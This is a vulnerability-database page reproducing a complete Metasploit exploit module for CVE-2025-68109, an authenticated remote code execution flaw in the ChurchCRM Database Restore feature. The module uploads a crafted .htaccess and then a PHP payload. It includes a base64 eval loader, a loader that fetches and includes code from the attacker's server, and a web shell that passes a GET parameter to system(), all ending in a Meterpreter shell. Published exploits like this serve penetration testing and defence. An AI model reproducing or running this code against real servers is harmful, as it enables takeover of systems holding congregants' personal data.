Lucene search
K

๐Ÿ“„ ChurchCRM Database Restore Remote Code Execution

๐Ÿ—“๏ธย 16 Apr 2026ย 00:00:00Reported byย LucasCsmtTypeย 
packetstorm
ย packetstorm
๐Ÿ”—ย packetstorm.news๐Ÿ‘ย 62ย Views

Authenticated ChurchCRM admin exploits Database Restore to upload .htaccess, enabling server side execution and Meterpreter.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2025-68109
17 Dec 202521:29
โ€“attackerkb
Circl
CVE-2025-68109
16 Apr 202621:02
โ€“circl
CNNVD
ChurchCRM ๅฎ‰ๅ…จๆผๆดž
17 Dec 202500:00
โ€“cnnvd
CNVD
ChurchCRM Code Execution Vulnerability (CNVD-2026-0535893)
25 Dec 202500:00
โ€“cnvd
CVE
CVE-2025-68109
17 Dec 202521:29
โ€“cve
Cvelist
CVE-2025-68109 ChurchCRM vulnerable to RCE with database restore functionality
17 Dec 202521:29
โ€“cvelist
EUVD
EUVD-2025-203990
17 Dec 202521:29
โ€“euvd
Metasploit
ChurchCRM Database Restore RCE 6.2.0
16 Apr 202619:02
โ€“metasploit
NVD
CVE-2025-68109
17 Dec 202522:16
โ€“nvd
OSV
CVE-2025-68109 ChurchCRM vulnerable to RCE with database restore functionality
17 Dec 202521:29
โ€“osv
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = NormalRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
      include Msf::Exploit::Remote::HttpServer
      include Msf::Exploit::FileDropper
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'ChurchCRM Database Restore RCE 6.2.0',
            'Description' => %q{
              This module exploits a Remote Code Execution (RCE) vulnerability in ChurchCRM
              versions prior to 6.2.0. The vulnerability resides in the Database Restore
              functionality, which allows an authenticated user with administrative privileges
              to upload a malicious backup file. By bypassing upload restrictions via a
              crafted .htaccess file, the module enables PHP code execution in the target
              directory, ultimately providing the attacker with a Meterpreter shell.
            },
            'License' => MSF_LICENSE,
            'Author' => ['LucasCsmt'],
            'References' => [
              [ 'GHSA', 'pqm7-g8px-9r77'],
              [ 'CVE', '2025-68109']
            ],
            'Platform' => ['linux', 'php'],
            'Targets' => [
              [
                'Linux/unix Command (CmdStager)',
                {
                  'Arch' => [ ARCH_X86, ARCH_X64 ],
                  'Platform' => ['linux'],
                  'Type' => :nix_cmdstager,
                  'CmdStagerFlavor' => [
                    'printf', 'echo', 'bourne', 'fetch', 'curl', 'wget'
                  ]
                }
              ],
              [
                'PHP (In-Memory)',
                {
                  'Arch' => [ ARCH_PHP ],
                  'Platform' => ['php'],
                  'Type' => :php_memory
                }
              ],
              [
                'PHP (Fetch)',
                {
                  'Arch' => [ ARCH_PHP ],
                  'Platform' => ['php'],
                  'Type' => :php_fetch
                }
              ],
            ],
            'DisclosureDate' => '2025-12-17',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            }
          )
        )
    
        register_options(
          [
            OptString.new('TARGETURI', [true, 'Base path', '/']),
            OptString.new('USERNAME', [true, 'Username for the admin account', 'admin']),
            OptString.new('PASSWORD', [true, 'Password for the admin account', nil])
          ]
        )
      end
    
      # Check if the target is up by accessing the login page
      def check
        vprint_status('Checking if the target is reachable...')
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'session', 'begin')
        })
    
        unless [200, 301, 302].include?(res.code)
          return Exploit::CheckCode::Unknown("Unexpected HTTP response code: #{res.code}")
        end
    
        version = res.headers['CRM-VERSION']
        if version
          print_status("Found ChurchCRM version: #{version}")
          if Rex::Version.new(version) < Rex::Version.new('6.5.3')
            return Exploit::CheckCode::Appears("Vulnerable version #{version} detected via CRM-VERSION header.")
          else
            return Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
          end
        end
        if res.body.include?('ChurchCRM')
          return Exploit::CheckCode::Detected('ChurchCRM detected, but the version could not be determined.')
        end
    
        Exploit::CheckCode::Safe('The target does not appear to be ChurchCRM.')
      end
    
      # Build the payload that will be into the installation form
      #
      # @return : the payload
      def build_payload
        case target['Type']
        when :php_memory
          b64_payload = Rex::Text.encode_base64(payload.encoded)
          "<?php eval(base64_decode(\"#{b64_payload}\")); ?>"
        when :php_fetch
          payload_name = '/tmp/' + rand_text_alpha(5..10) + '.php'
          "<?php $f='#{payload_name}'; file_put_contents($f, file_get_contents('#{get_uri}')); register_shutdown_function('unlink', $f); include($f); ?>"
        else
          "<?php if(isset($_GET['cmd'])){system($_GET['cmd'].' 2>&1');} ?>"
        end
      end
    
      # Get the session cookie of the specified user
      #
      # @return : the session cookie
      def get_cookie
        print_status 'Getting the session cookie'
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'session', 'begin'),
          'vars_post' => {
            'User' => datastore['USERNAME'],
            'Password' => datastore['PASSWORD']
          }
        })
    
        fail_with(Failure::Unreachable, 'No answer from the server') unless res
        fail_with(Failure::NoAccess, 'Authentication error : Invalid login or password') if res.body.include?('Invalid login or password')
        fail_with(Failure::NoAccess, 'Authentication error : This account have been locked') if res.body.include?('Too many failed logins')
        fail_with(Failure::UnexpectedReply, "Invalid status code : #{res.code}") unless [200, 301, 302].include?(res.code)
    
        cookie = res.get_cookies
        fail_with(Failure::UnexpectedReply, 'No cookies found') if cookie.blank?
    
        print_good 'The session cookie has been received'
        cookie
      end
    
      # Handles the incoming HTTP request and serves the payload to the target.
      def on_request_uri(cli, _request)
        p = payload.encoded
        send_response(cli, p, {
          'Content-Type' => 'application/x-httpd-php',
          'Pragma' => 'no-cache'
        })
      end
    
      def execute_command(cmd, _opts = {})
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'tmp_attach', 'ChurchCRMBackups', @payload_name),
          'vars_get' => { 'cmd' => cmd }
        })
      end
    
      # Upload a file exploiting the database resotre functionality
      #
      # @param : file_name, the name of the file to upload
      # @param : content, the content of the file to upload
      def upload_file(file_name, content)
        print_status "Uploading the file : #{file_name}"
        data = Rex::MIME::Message.new
        data.add_part(
          content,
          'application/octet-stream',
          nil,
          "form-data; name=\"restoreFile\"; filename=\"#{file_name}\""
        )
        data.add_part('', nil, nil, 'form-data; name="restorePassword"')
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'api', 'database', 'restore'),
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => data.to_s,
          'cookie' => @cookie
        })
        fail_with(Failure::Unreachable, 'No answer from the server') unless res
        # The server returns a 500 error because the uploaded file is not a valid backup file, but the file is still uploaded before the crash.
        fail_with(Failure::NotVulnerable, 'Invalid status code, the target may not be vulnerable') unless res.code == 500
        print_good 'The file have been uploaded successfully'
      end
    
      # Execute the payload
      def execute_payload
        print_status 'Trying to execute the payload'
        if target['Type'] == :nix_cmdstager
          execute_cmdstager(
            linemax: 500,
            nodelete: false,
            background: true,
            temp: '/tmp'
          )
        else
          send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(target_uri.path, 'tmp_attach', 'ChurchCRMBackups', @payload_name)
          })
        end
        print_good 'Payload successfully executed'
      end
    
      def exploit
        if target['Type'] == :php_fetch
          print_status('Starting HTTP server to serve the payload...')
          start_service
        end
    
        @cookie = get_cookie
    
        upload_file '.htaccess', "Allow from all\n"
        register_file_for_cleanup('.htaccess')
    
        @payload_name = rand_text_alpha(5..10) + '.php'
        upload_file @payload_name, build_payload
        register_file_for_cleanup(@payload_name)
    
        execute_payload
      end
    end

Data

Build on a solid foundation withย Vulners data

Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data

Api

Power your application withย Vulners API

The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access

App

Assess and manage vulnerabilities withย Vulnersย tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Apr 2026 00:00Current
6.4Medium risk
Vulners AI Score6.4
CVSS 3.17.2 - 9.1
EPSS0.21073
SSVC
62